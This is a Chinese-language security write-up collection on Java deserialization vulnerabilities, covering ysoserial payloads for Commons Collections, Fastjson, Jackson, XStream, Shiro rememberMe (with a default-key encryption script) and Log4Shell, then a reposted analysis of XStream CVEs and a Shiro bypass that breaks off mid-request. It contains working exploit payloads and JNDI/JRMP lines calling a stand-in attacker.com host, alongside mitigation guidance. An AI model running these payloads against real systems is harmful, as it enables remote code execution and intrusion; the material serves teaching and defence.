Java反序列化攻击依赖于Gadget链,即在反序列化过程中触发的一系列方法调用。易受攻击的类通常包含readObject()readResolve()finalize()等方法,可被操纵执行恶意代码。常见的攻击目标包括Apache Commons Collections、Fastjson、Jackson、XStream等库,以及Apache Shiro等框架。

主要攻击方式

  • 命令执行:通过Gadget链调用Runtime.getRuntime().exec()执行任意命令。
  • 远程类加载:触发JNDI查询,从攻击者控制的服务器加载恶意类。
  • 对象操纵:构造恶意对象,在反序列化时利用应用逻辑漏洞。

image

3. 常见Java反序列化漏洞与利用

以下是常见反序列化漏洞的详细分析,包括工具、Payload、测试代码及攻击示例。

工具准备:ysoserial

ysoserial是一个用于生成Java反序列化漏洞Payload的强大工具。

安装步骤

1
2
3
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests

编译后生成ysoserial-[version]-all.jar,可用于生成多种Gadget链的Payload。

3.1 Apache Commons Collections(CC)

漏洞描述:Apache Commons Collections库(3.1–3.2.1及4.0版本)中的InvokerTransformer等类允许方法调用链构造,在反序列化时可实现RCE。

利用原理:通过InvokerTransformerChainedTransformer,结合LazyMapTiedMapEntry,构建Gadget链,最终调用Runtime.getRuntime().exec()

生成Payload(使用ysoserial):

1
java -jar ysoserial.jar CommonsCollections1 "calc" > payload.ser
  • Windows下使用calc打开计算器,Linux可替换为gnome-calculatorxcalc

服务端测试代码(易受攻击):

1
2
3
4
5
6
7
8
9
10
import java.io.*;
import org.apache.commons.collections.map.LazyMap;

public class VulnerableServer {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.ser"));
ois.readObject(); // 触发命令执行
ois.close();
}
}

攻击示例

  1. 生成Payload:java -jar ysoserial.jar CommonsCollections1 "calc" > payload.ser
  2. 通过网络接口(文件上传或Socket)将payload.ser发送到服务端。
  3. 服务端反序列化Payload,执行calc.exe

可用链:CommonsCollections1–6,其中CommonsCollections1在旧版本中最可靠。

3.2 Fastjson(版本<1.2.47)

漏洞描述:Fastjson的@type功能允许指定反序列化的类。如果autotype启用或配置不当,攻击者可加载恶意类(如TemplatesImpl)。

利用Payload(JSON):

1
2
3
4
5
6
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"bytecodes": ["BASE64编码的恶意类"],
"name": "Exploit",
"tfactory": {}
}

创建恶意类

  1. 编写Exploit.java
1
2
3
4
5
6
7
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {}
}
}
  1. 编译并编码:
1
2
javac Exploit.java
base64 Exploit.class > exploit.b64
  1. 将base64内容插入JSON的bytecodes字段。

服务端测试代码(易受攻击):

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class VulnerableFastjson {
public static void main(String[] args) throws Exception {
String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"bytecodes\":[\"BASE64恶意类\"],\"name\":\"Exploit\",\"tfactory\":{}}";
JSON.parse(json); // 触发漏洞
}
}

攻击示例

  1. 将恶意JSON发送到服务端接口(例如通过HTTP POST)。
  2. Fastjson反序列化Payload,执行calc命令。

受影响版本

  • Fastjson ≤ 1.2.24:默认启用autotype。
  • Fastjson ≤ 1.2.47:存在绕过方式(如使用B@替代@type)。

3.3 Jackson(启用Default Typing)

漏洞描述:Jackson的ObjectMapper在启用enableDefaultTyping()时支持多态反序列化,攻击者可通过@class指定恶意类。

利用Payload(JSON):

1
2
3
4
5
6
{
"@class": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"bytecodes": ["BASE64编码的恶意类"],
"name": "Exploit",
"tfactory": {}
}

服务端测试代码(易受攻击):

1
2
3
4
5
6
7
8
9
10
import com.fasterxml.jackson.databind.ObjectMapper;

public class VulnerableJackson {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // 危险配置
String json = "{\"@class\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"bytecodes\":[\"BASE64恶意类\"],\"name\":\"Exploit\",\"tfactory\":{}}";
mapper.readValue(json, Object.class); // 触发漏洞
}
}

攻击示例

  1. 使用与Fastjson相同的Exploit.java和base64编码。
  2. 将JSON Payload发送到服务端接口。
  3. 服务端反序列化Payload,执行恶意代码。

3.4 XStream(版本<1.4.15)

漏洞描述:XStream将XML数据反序列化为Java对象。如果未配置类白名单,攻击者可通过XML构造恶意对象树触发漏洞。

利用Payload(XML):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<size>2</size>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<name>Exploit</name>
<bytecodes>
<bytearray>BASE64编码的恶意类</bytearray>
</bytecodes>
<tfactory/>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<string>test</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

服务端测试代码(易受攻击):

1
2
3
4
5
6
7
8
9
import com.thoughtworks.xstream.XStream;

public class VulnerableXStream {
public static void main(String[] args) {
XStream xstream = new XStream();
String xml = "<java.util.PriorityQueue serialization='custom'>...</java.util.PriorityQueue>";
xstream.fromXML(xml); // 触发漏洞
}
}

攻击示例

  1. 生成base64编码的恶意类(参考Fastjson部分)。
  2. 将base64字符串嵌入XML Payload。
  3. 将XML发送到服务端,触发代码执行。

3.5 Apache Shiro RememberMe

漏洞描述:Apache Shiro的rememberMe功能通过AES加密序列化用户数据。如果AES密钥已知(例如默认密钥kPH+bIxk5D2deZiIxcaaaA==),攻击者可构造恶意Payload。

利用步骤

  1. 使用ysoserial生成Payload:
1
java -jar ysoserial.jar CommonsCollections1 "calc" > payload.bin
  1. 使用已知AES密钥加密Payload:
1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Cipher import AES
import base64

key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
cipher = AES.new(key, AES.MODE_CBC, key)
with open("payload.bin", "rb") as f:
data = f.read()
pad = 16 - len(data) % 16
data += bytes([pad] * pad)
payload = cipher.encrypt(data)
encoded = base64.b64encode(payload).decode()
print(encoded)
  1. 构造请求:
1
2
3
GET / HTTP/1.1
Host: target.com
Cookie: rememberMe=BASE64编码的Payload

攻击示例

  1. 使用ysoserial生成CommonsCollections Payload。
  2. 使用默认或爆破的AES密钥加密。
  3. 设置rememberMeCookie并发送请求,触发反序列化。

3.6 Log4j2 JNDI注入(CVE-2021-44228,Log4Shell)

突然想到这个,也写一下~

漏洞描述:Log4j2(版本<2.16.0)在解析日志消息时会处理${jndi:}表达式,允许攻击者通过JNDI触发远程类加载。

image

利用Payload

1
${jndi:ldap://attacker.com/Exploit}

攻击准备

  1. 使用marshalsec启动LDAP服务:
1
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/Exploit"
  1. http://attacker.com/Exploit托管恶意类(Exploit.class)。

服务端测试代码(易受攻击):

1
2
3
4
5
6
7
8
9
10
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class VulnerableLog4j {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String userInput = "${jndi:ldap://attacker.com/Exploit}";
logger.info(userInput); // 触发JNDI查询
}
}

攻击示例

  1. 将Payload注入可记录的字段(例如HTTPUser-Agent头):
1
2
3
GET / HTTP/1.1
Host: target.com
User-Agent: ${jndi:ldap://attacker.com/Exploit}
  1. 服务端记录日志时触发JNDI查询,执行远程类。

4. 其他漏洞与利用

4.1 Spring Framework(Spring4Shell,CVE-2022-22965)

漏洞描述:在特定配置下,Spring的数据绑定允许攻击者操纵序列化对象,导致RCE。

利用Payload

1
2
3
4
5
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

class.module.classLoader.resources.context.parent.pipeline.first.pattern=malicious

防护措施:升级到Spring Framework ≥ 5.3.18,或应用严格的绑定规则。

4.2 Java RMI反序列化

漏洞描述:Java的远程方法调用(RMI)可能反序列化不可信数据,特别是在旧JDK版本(<8u121)中。

利用示例

  1. 使用ysoserial生成RMI Payload:
1
java -jar ysoserial.jar JRMPClient "attacker.com:1099/Exploit" > payload.ser
  1. 将Payload发送到RMI服务端,触发远程类加载。

防护措施:限制RMI仅限可信主机,应用JDK安全补丁(例如8u121+)。

5. 检测与测试工具

以下工具可用于检测和测试反序列化漏洞:

  • Ysoserial:生成多种Gadget链Payload。GitHub
  • Ysomap:统一的反序列化利用工具。GitHub
  • Shiro_attack:测试Shiro RememberMe漏洞。GitHub
  • Log4jscan:扫描Log4Shell漏洞。GitHub
  • Fastjson-blacklist-checker:检测Fastjson漏洞。GitHub

6. 防护与加固

通用实践

  1. 避免反序列化不可信数据:禁止处理来自不可信源的数据。
  2. 使用类白名单:限制反序列化仅允许指定的类。
  3. 升级依赖:使用最新版本的库和框架。
  4. 应用安全补丁:定期更新JDK和依赖项。

具体防护措施

库/组件 防护措施
Commons Collections 升级到3.2.2+或4.1+;使用ObjectInputFilter限制类。
Fastjson 禁用autotype;使用ParserConfig.getGlobalInstance().addAccept()设置白名单。
Jackson 禁用enableDefaultTyping();为ObjectMapper配置类白名单。
XStream 使用xstream.allowTypes()限制可反序列化的类。
Apache Shiro 更换默认AES密钥;禁用rememberMe或使用签名机制。
Log4j2 升级到≥2.16.0;设置log4j2.formatMsgNoLookups=true;禁用JNDI。
Spring Framework 升级到≥5.3.18;限制数据绑定参数。
Java RMI 限制RMI仅限可信主机;应用JDK补丁(例如8u121+)。

示例:使用ObjectInputFilter实现安全反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.*;

public class SafeDeserialization {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.ser"));
ois.setObjectInputFilter(filter -> {
Class<?> clazz = filter.getType();
if (clazz != null && MySafeClass.class.equals(clazz)) {
return ObjectInputFilter.Status.ALLOWED;
}
return ObjectInputFilter.Status.REJECTED;
});
Object obj = ois.readObject();
ois.close();
}
}

7. 总结

Java反序列化漏洞是一类高危安全问题,攻击者通过控制序列化数据并利用Gadget链,可在反序列化时执行任意代码。Apache Commons Collections、Fastjson、Jackson、XStream、Apache Shiro及Log4j2等库和框架是常见的攻击目标。通过理解Gadget链、使用ysoserial等工具生成Payload,以及采取严格的防护措施,开发者和安全人员可以有效应对这些威胁。

核心要点

  • 在反序列化前验证和过滤所有输入数据。
  • 使用类白名单,避免使用危险方法如readObject()
  • 保持依赖项和JDK的更新。
  • 使用ysoserial和Ysomap等工具测试应用漏洞。

通过遵循这些指南,可以显著降低Java应用中反序列化攻击的风险。

【组件攻击链】XStream组件高危漏洞分析与利用

【组件攻击链】XStream组件高危漏洞分析与利用

本文转自 深信服千里目安全技术中心 并作补充

组件介绍

XStream是Java类库,用来将对象序列化成XML(JSON)或反序列化为对象。XStream在运行时使用Java反射机制对要进行序列化的对象树的结构进行探索,并不需要对对象作出修改。XStream可以序列化内部字段,包括私private和final字段,并且支持非公开类以及内部类。在缺省情况下,XStream不需要配置映射关系,对象和字段将映射为同名XML元素。但是当对象和字段名与XML中的元素名不同时,XStream支持指定别名。XStream支持以方法调用的方式,或是Java标注的方式指定别名。XStream在进行数据类型转换时,使用系统缺省的类型转换器。同时,也支持用户自定义的类型转换器。XStream类图:

image

高危漏洞介绍

image

XStream组件漏洞主要是java反序列化造成的远程代码执行漏洞,目前官方通过黑名单的方式对java反序列化攻击进行防御,由于黑名单防御机制存在被绕过的风险,因此以后可能会再次出现类似上述java反序列化漏洞。

漏洞利用链

1 组件风险梳理

根据XStream组件的漏洞,结合XStream常用的使用场景,得到如下风险梳理的场景图。

image

2 利用链总结

基于风险梳理思维导图,总结出一种漏洞的利用场景。

无权限 -> GetShell

image

高可利用漏洞分析

从高危漏洞列表中,针对部分近年高可利用漏洞进行漏洞深入分析。

技术背景

java动态代理

Java标准库提供了一种 动态代理(Dynamic Proxy)的机制:可以在运行期动态创建某个interface的实例。

例子:我们先定义了接口Hello,但是我们并不去编写实现类,而是直接通过JDK提供的一个Proxy.newProxyInstance()创建了一个Hello接口对象。这种没有实现类但是在运行期动态创建了一个接口对象的方式,我们称为动态代码。JDK提供的动态创建接口对象的方式,就叫动态代理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package test3_proxyclass;



import java.lang.reflect.InvocationHandler;

import java.lang.reflect.Method;

import java.lang.reflect.Proxy;



public class Main {

public static void main(String[] args) {

InvocationHandler handler = new InvocationHandler() {

@Override

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

System.out.println(method);

if (method.getName().equals("morning")) {

System.out.println("Good morning, " + args[0]);

}

return null;

}

};

Hello hello = (Hello) Proxy.newProxyInstance(

Hello.class.getClassLoader(), // 传入ClassLoader

new Class[] { Hello.class }, // 传入要实现的接口

handler); // 传入处理调用方法的InvocationHandler

hello.morning("Bob");

}

}



interface Hello {

void morning(String name);

}

java动态代理机制中有两个重要的类和接口InvocationHandler(接口)和Proxy(类),这一个类Proxy和接口InvocationHandler是我们实现动态代理的核心;

**InvocationHandler接口:**proxy代理实例的调用处理程序实现的一个接口,每一个proxy代理实例都有一个关联的调用处理程序;在代理实例调用方法时,方法调用被编码分派到调用处理程序的invoke方法。

**newProxyInstance:**创建一个代理类对象,它接收三个参数,我们来看下几个参数的含义:

1
2
3
4
5
loader:一个classloader对象,定义了由哪个classloader对象对生成的代理类进行加载

interfaces:一个interface对象数组,表示我们将要给我们的代理对象提供一组什么样的接口,如果我们提供了这样一个接口对象数组,那么也就是声明了代理类实现了这些接口,代理类就可以调用接口中声明的所有方法。

h:一个InvocationHandler对象,表示的是当动态代理对象调用方法的时候会关联到哪一个InvocationHandler对象上,并最终由其调用。

getInvocationHandler: 返回指定代理实例的调用处理程序

getProxyClass: 给定类加载器和接口数组的代理类的java.lang.Class对象。

isProxyClass: 当且仅当使用getProxyClass方法或newProxyInstance方法将指定的类动态生成为代理类时,才返回true。

newProxyInstance: 返回指定接口的代理类的实例,该接口将方法调用分派给指定的调用处理程序。

1 XStream 远程代码执行漏洞

1.1 漏洞信息

1.1.1 漏洞简介

● 漏洞名称:XStream Remote Code Execution Vulnerability

● 漏洞编号:CVE-2013-7285

● 漏洞类型:Remote Code Execution

● CVSS评分:CVSS v2.0:7.5 , CVSS v3.0:9.8

● 漏洞危害等级:高危

1.1.2 漏洞概述

包含类型信息的流在unmarshalling时,会再次创建之前写入的对象。因此XStream会基于这些类型信息创建新的实例。攻击者可以操控XML数据,将恶意命令注入在在可以执行任意shell命令的对象中,实现漏洞的利用。

1.1.3 漏洞利用条件

1.1.4 漏洞影响

影响版本:XStream <= 1.4.6

1.1.5 漏洞修复

获取XStream最新版本,下载链接:https://x-stream.github.io/download.html

1.2 漏洞复现

1.2.1 环境拓扑

image

1.2.2 应用协议

8080/HTTP

1.2.3 环境搭建

基于Windows平台,使用环境目录下的xstreamdemo环境,拷贝后使用Idea打开xstreamdemo文件夹,下载maven资源,运行DemoApplication类,即可启动环境。效果如图。

image

1.2.4 漏洞复现

运行sniper工具箱,填写表单信息,点击Attack,效果如图。

image

1.3 漏洞分析

1.3.1 代码分析

传入的payload首先会在com.thoughtworks.xstream.XStream的fromXML()方法中处理,在进入unmarshal()方法中进行解集。

image

在com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy类中的unmarshal()方法中调用start()方法进行Java对象转换。

image

在com.thoughtworks.xstream.core.TreeUnmarshaller类中的start()方法通过调用readClassType()获取type类型。

image

在readClassType()方法中调用readClassAttribute方法。

image

进入readClassAttribute方法调用aliasForSystemAttribute方法获取别名。调用getAttribute方法,获取reader对象中记录的外部传入XML数据中是否存在对应的标签,如果不存在则返回null。

image

回到HierarchicalStreams#readClassType方法中调用realClass方法,通过别名在wrapped对象中的Mapper中循环查找,获取与别名对应的类。

image

找到sorted-set别名对应的java.util.SortedSet类,并将类存入realClassCache对象中。

image

回到TreeUnmarshaller#start方法,调用convertAnother方法。进入convertAnother方法后,调用defaultImplementationOf方法,在mapper对象中寻找java.util.SortedSet接口类的实现类java.util.TreeSet。

image

获取java.util.TreeSet类型,调用lookupConverterForType方法,寻找对应类型的转换器。进入lookupConverterForType方法,循环获取转换器列表中的转换器,调用转换器类中的canConvert方法判断选出的转换器是否可以对传入的type类型进行转换。

image

转换器TreeSetConverter父类CollectionConverter中canConvert方法判断,传入的type与java.util.TreeMap相同,返回true,表示可以使用TreeSetConverter转换器进行转换。

image

回到DefaultConverterLookup#lookupConverterForType方法,将选取的converter与对应的type存入typeToConverterMap。

回到TreeUnmarshaller#convertAnother方法中,调用this.convert方法。

image

首先判断传入的xml数据中是否存在reference标签,如果不存在,则将当前标签压入parentStack栈中,并调用父类的convert方法。

image

进入convert方法中,调用转换器中的unmarshal方法,对传入的xml数据继续解组。

image

首先调用unmarshalComparator方法判断是否存在comparator,如果不存在,则返回NullComparator对象。

image

根据unmarshalledComparator对象状态,为possibleResult对象赋予TreeSet类型对象。

image

由于possibleResult是一个空的TreeMap,因此最终treeMap也是一个空对象,从而调用treeMapConverter.populateTreeMap方法。

image

进入populateTreeMap方法中,首先调用调用putCurrentEntryIntoMap方法解析第一个标签,再调用populateMap方法处理之后的标签(此流程中二级标签只存在一个,因此在处理二级标签时暂不进入populateMap方法)。

image

具体调用流程如下,com.thoughtworks.xstream.converters.collections.TreeSetConverter类中调用putCurrentEntryIntoMap方法 -> com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readItem() 中的 readClassType()方法获取传入xml数据中标签名(别名)对应的类(与本节中获取sorted-set对应类的流程相同)。本次获取的是dynamic-proxy对应的java.lang.reflect.Proxy.DynamicProxyMapper类型,并将别名与类型作为键值对,存入realClassCache中。

image

image

回到AbstractCollectionConverter.readItem()方法中,调用convertAnother方法,寻找DynamicProxyMapper对应的convert,获取到DynamicProxyConverter转换器。

image

得到com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy,按照之前获取转换器之后的流程,调用转换器中的unmarshal()方法获取interface元素,得到java.lang.Comparable,并添加到mapper中。

image

在通过循环查询,继续查找下面的节点元素,进而获得了handler java.beans.EventHandler。

image

调用Proxy.newProxyInstance方法创建动态代理,实现java.lang.Comparable接口。

image

调用convertAnother方法获取传入type的转换器,java.beans.EventHandler对应的convert是ReflectionConverter。并将父类及其对象写进HashMap中

image

image

在com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.duUnmarshal()方法获取下面的节点元素target java.lang.ProcessBuilder。

具体流程如下:调用getFieldOrNull方法,判断xml格式中传入的标签名在目标类中是否存在对应属性。

image

image

在调用reader.getNodeName()方法获取标签名,并赋值给originalNodeName。

image

调用realMember方法获取反序列化属性的名称。

image

调用readClassAttribute方法获取target标签中传入的类名

image

调用realClass获取上述过程中类名对应的类,并调用unmarshallField方法进行解析。

image

进入方法中,寻找对应type的转换器,由于是java.beans.EventHandler作为动态代理的实现类,所以选择的转化器都是ReflectionConverter 。使用选中的转换器进行解组。

image

使用ReflectionConverter convert处理java.lang.ProcessBuilder ,在duUnmarshal()方法获取command标签和comand标签下的String标签及其参数。(其中String标签下的参数是在下一层convert调用中获取的。)

image

调用this.reflectionProvider.writeField方法,将参数值传入对象中。

image

image

image

在按照获取target标签相同的流程获取action标签,最终将start方法存入对象中。

image

回到TreeMapConverter#populateTreeMap方法中,上述过程中构造的object保存在sortedMap中。且其中的动态代理实现的接口是java.lang.Comparable,因此只要调用java.lang.Comparable接口中的compareTo方法,即可触发动态代理,进入java.beans.EventHandler实现类中的invoke方法。在populateTreeMap方法中调用putAll方法,将sortedMap中的对象写入result变量的过程中会调用到compareTo,调用链如下。

image

进入java.beans.EventHandler#invoke方法中,通过反射执行对象中的方法。

image

1.3.2 补丁分析

XStream1.4.7版本中,在com.thoughtworks.xstream.converters.reflection.ReflectionConverter添加type != eventHandlerType阻止ReflectionConverter解析java.beans.EventHandler类。从而防御了此漏洞。

image

2 XStream 远程代码执行漏洞

2.1 漏洞信息

2.1.1 漏洞简介

● 漏洞名称:XStream Remote Code Execution Vulnerability

● 漏洞编号:CVE-2019-10173

● 漏洞类型:Remote Code Execution

● CVSS评分:CVSS v2.0:7.3 , CVSS v3.0:9.8

● 漏洞危害等级:高危

2.1.2 漏洞概述

包含类型信息的流在unmarshalling时,会再次创建之前写入的对象。因此XStream会基于这些类型信息创建新的实例。攻击者可以操控XML数据,将恶意命令注入在在可以执行任意shell命令的对象中,实现漏洞的利用。

2.1.3 漏洞利用条件

2.1.4 影响版本

影响版本:XStream = 1.4.10

2.1.5 漏洞修复

获取XStream最新版本,下载链接:https://x-stream.github.io/download.html

2.2 漏洞复现

2.2.1 拓扑图

image

2.2.2 应用协议

8080/HTTP

2.2.3 环境搭建

基于Windows平台,使用环境目录下的xstreamdemo环境,拷贝后使用Idea打开xstreamdemo文件夹,下载maven资源,运行DemoApplication类,即可启动环境。效果如图。

image

2.2.4 漏洞复现

运行sniper工具箱,填写表单信息,点击Attack,效果如图。

image

2.3 漏洞分析

2.3.1 代码分析

CVE-2019-10173漏洞与CVE-2013-7285漏洞原理相同,由于在XStream的安全模式默认不启动,导致防御失效。

Xstream 1.4.7对于漏洞的防御措施

通过在

com.thoughtworks.xstream.converters.reflection.ReflectionConverter添加type != eventHandlerType阻止ReflectionConverter解析java.beans.EventHandler类

image

Xstream 1.4.10漏洞产生原因

在com.thoughtworks.xstream.converters.reflection.ReflectionConverter类中,canConvert方法中的type != eventHandlerType被删除了,使得原来的漏洞利用方式可以再次被利用。

由于在Xstream1.4.10中的com.thoughtworks.xstream.XStream类增加了setupDefaultSecurity()方法和InternalBlackList转换器,通过黑名单的形式对漏洞进行防御。但是安全模式默认不开启,必须在初始化后才可以使用,eg:XStream.setupDefaultSecurity(xStream)。导致防御失效,造成漏洞的第二次出现。

image

image

2.3.2 补丁分析

XStream1.4.11版本中,在com.thoughtworks.xstream.XStream更改安全模式初始化方法中的securityInitialized标志位。在调用InternalBlackList转换器中的canConvert方法时,可以进行黑名单匹配,从而防御了此漏洞。

image

image

2.3.3 漏洞防御

在Xstream1.4.11中的com.thoughtworks.xstream.XStream类中InternalBlackList类会对java.beans.EventHandler进行过滤,java.beans.EventHandler执行marshal或者unmarshal方法时,会抛出异常终止程序。

image

3 XStream 远程代码执行漏洞

3.1 漏洞信息

3.1.1 漏洞简介

● 漏洞名称:XStream Remote Code Execution Vulnerability

● 漏洞编号:CVE-2020-26217

● 漏洞类型:Remote Code Execution

● CVSS评分:CVSS v2.0:无, CVSS v3.0:8.0

● 漏洞危害等级:高危

3.1.2 漏洞概述

包含类型信息的流在unmarshalling时,会再次创建之前写入的对象。因此XStream会基于这些类型信息创建新的实例。攻击者可以操控XML数据,将恶意命令注入在在可以执行任意shell命令的对象中,实现漏洞的利用。

3.1.3 漏洞利用条件

3.1.4 漏洞影响

影响版本:XStream = 1.4.13

3.1.5 漏洞修复

获取XStream最新版本,下载链接:https://x-stream.github.io/download.html

3.2 漏洞复现

3.2.1 环境拓扑

image

3.2.2 应用协议

8080/HTTP

3.2.3 环境搭建

基于Windows平台,使用环境目录下的xstreamdemo环境,拷贝后使用Idea打开xstreamdemo文件夹,下载maven资源,运行DemoApplication类,即可启动环境。效果如图。

image

3.2.4 漏洞复现

运行sniper工具箱,填写表单信息,点击Attack,效果如图。

image

3.3 漏洞分析

3.3.1 代码分析

代码分析:传入的payload首先会在com.thoughtworks.xstream.XStream的fromXML()方法中处理,在进入unmarshal()方法中进行解集。

image

在com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy类中的unmarshal()方法中调用start()方法进行Java对象转换。

image

在com.thoughtworks.xstream.core.TreeUnmarshaller类中的start()方法通过调用readClassType()获取type类型。

image

在readClassType()方法中调用readClassAttribute方法。

image

进入readClassAttribute方法调用aliasForSystemAttribute方法获取别名。调用getAttribute方法,获取reader对象中记录的外部传入XML数据中是否存在对应的标签,如果不存在则返回null。

image

回到HierarchicalStreams#readClassType方法中调用realClass方法,通过别名在wrapped对象中的Mapper中循环查找,获取与别名对应的类。

image

在DefaultMapper中,通过反射,获取到string标签传入的class,并将类存入realClassCache对象中。

image

image

回到TreeUnmarshaller#start方法,调用convertAnother方法。进入convertAnother方法后,调用lookupConverterForType方法,寻找对应类型的转换器。进入lookupConverterForType方法,循环获取转换器列表中的转换器,调用转换器类中的canConvert方法判断选出的转换器是否可以对传入的type类型进行转换。

image

转换器ReflectionConverter中canConvert方法判断,传入的type非null,返回true,表示可以使用ReflectionConverter转换器进行转换。

image

回到DefaultConverterLookup#lookupConverterForType方法,将选取的converter与对应的type存入typeToConverterMap。

回到TreeUnmarshaller#convertAnother方法中,调用this.convert方法。

image

首先判断传入的xml数据中是否存在reference标签,如果不存在,则将当前标签压入parentStack栈中,并调用父类的convert方法。

image

在com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.duUnmarshal()方法获取下面的节点元素iter java.util.ArrayList$Itr。

具体流程如下:调用getFieldOrNull方法,判断xml格式中传入的标签名在目标类中是否存在对应属性。

image

image

在调用reader.getNodeName()方法获取标签名,并赋值给originalNodeName。

image

调用realMember方法获取反序列化属性的名称。

image

调用readClassAttribute方法获取iter标签中传入的类名

image

调用realClass获取上述过程中类名对应的类,并调用unmarshallField方法进行解析。

image

进入方法中,寻找对应type的转换器,使用选中的ReflectionConverter转换器进行解组。

image

使用ReflectionConverter convert处理java.util.ArrayList$Itr ,在duUnmarshal()方法获取cursor标签和cursor标签下的参数。(调用unmarshallField方法,与上述流程相似)

image

调用this.reflectionProvider.writeField方法,将参数值传入对象中。

image

image

回到AbstractReflectionConverter#doUnmarshal方法中获取后续的标签及其参数(分别为lastRet,expectedModCount,outer-class)。

image

按照同样的反序列化流程获取属性值,并写入对象。

image

解析outer-class标签,由于type是java.util.ArrayList,选择转换器是CollectionConverter。

image

调用CollectionConverter#unmarshal方法进行反序列化。

image

调用CollectionConverter#populateCollection -> CollectionConverter#addCurrentElementToCollection->AbstractCollectionConverter#readItem方法。最终调用realClass方法获取type类,获取过程中将outer-class标签下的子标签存入realClassCache中。

image

回到AbstractCollectionConverter#readBareItem方法调用convertAnother方法,按照之前的流程进行反序列化,为属性赋值,并写入对象。

image

最终返回ProcessBuilder对象,写入FilterIterator对象中。

image

在按照获取java.util.ArrayList$Itr对象相同的流程获取javax.imageio.ImageIO$ContainsFilter对象,通过反序列化为其内部的method属性和name属性进行赋值。

在选择转换器的过程中,由于method属性的类型是java.lang.reflect.Method,因此选择对应的转换器为JavaMethodConverter。

image

调用JavaMethodConverter#unmarshal方法进行xml数据解析,获取java.lang.processBuilder类中的start方法对象,写入到javax.imageio.ImageIO$ContainsFilter对象中。

image

再按照相同的流程,将start方法名写入name属性中。

image

将FilterIterator对象返回给最初的iterator对象中。

image

调用iterator.next()方法时,会调用其实现类FilterIterator中的next方法。

image

进入调用advance方法,调用filter方法时,会通过反射执行ProcessBuilder对象中的start方法,从而造成代码执行。

image

image

3.3.2 补丁分析

XStream1.4.11版本中,在com.thoughtworks.xstream.XStream更改安全模式初始化方法中的securityInitialized标志位。在调用InternalBlackList转换器中的canConvert方法时,可以进行黑名单匹配,从而防御了此漏洞。

image

image

3.3.3 漏洞防御

XStream1.4.14版本中,在com.thoughtworks.xstream.XStream的黑名单添加java.lang.ProcessBuilder和javax.imageio.ImageIO$ContainsFilter。从而防御了此漏洞。

image

参考链接

  1. https://blog.csdn.net/yaomingyang/article/details/80981004
  2. https://github.com/x-stream/xstream/compare/XSTREAM_1_4_6...XSTREAM_1_4_7
  3. https://github.com/x-stream/xstream/compare/XSTREAM_1_4_10...XSTREAM_1_4_11
  4. https://github.com/x-stream/xstream/compare/XSTREAM_1_4_13...XSTREAM_1_4_14

Apache Shiro身份验证绕过漏洞(CVE-2022-40664)

Apache Shiro身份验证绕过漏洞(CVE-2022-40664)

本文转自 安博通 并作补充

漏洞信息

CVE编号:CVE-2022-40664

CNVD编号:CNVD-2022-68497

Apache Shiro是一款功能强大且易于使用的Java安全框架,主要包含身份验证、授权、加密和会话管理等功能,可用于保护任何应用程序。

  • 身份验证:用户登录
  • 授权:访问控制
  • 加密:保护或隐藏数据不被窥探
  • 会话管理:管理每个用户的状态

Apache Shiro身份验证绕过漏洞,是通过RequestDispatcher转发或包含时Shiro中的身份验证绕过而产生的漏洞。在Apache Shiro 1.10.0之前,攻击者可构造恶意代码利用该漏洞绕过shiro的身份验证,从而获取用户的身份权限。

影响范围

Apache Shiro < 1.10.0

修复建议

直接升级,升级补丁链接如下:

https://shiro.apache.org/download.html

安全防护

该漏洞是代码中函数逻辑问题导致的。当代码中存在一些特殊的调用和逻辑时,就可能触发该漏洞,因此远程请求是合法请求,没有恶意特征,安全厂商暂无法提取规则。

漏洞研究

漏洞复现

问题复现demo代码。

image

两个URL分别为/permit/{value}和/filterOncePerRequest/{value} 。

请求/permit/{value}时,被要求鉴权并拒绝。

image

请求/filterOncePerRequest/{value}时,成功绕过鉴权。

image

代码研究

Shiro 1.9(漏洞版本)和1.10(修复后版本),修改点在org.apache.shiro.web.servlet.OncePerRequestFilter.doFilter处,修改前1.9版本如下:

image

修改后1.10版本如下:

image

显然在判断request.getAttribute(alreadyFilteredAttributeName) 不为空的同时,添加了必须保证filterOncePerRequest也为True的条件。

从上面代码可以看出,在该请求处理过第一次之后,为请求添加了属性shiroFilter.FILTERED=true,在第二次forward请求进来时,会进到第一个if,跳过本Filter的执行。这种处理方式可能就是漏洞产生的原因。

在改动处打断点并debug,发送如下请求:

1
2
3
4
5
6
7
8
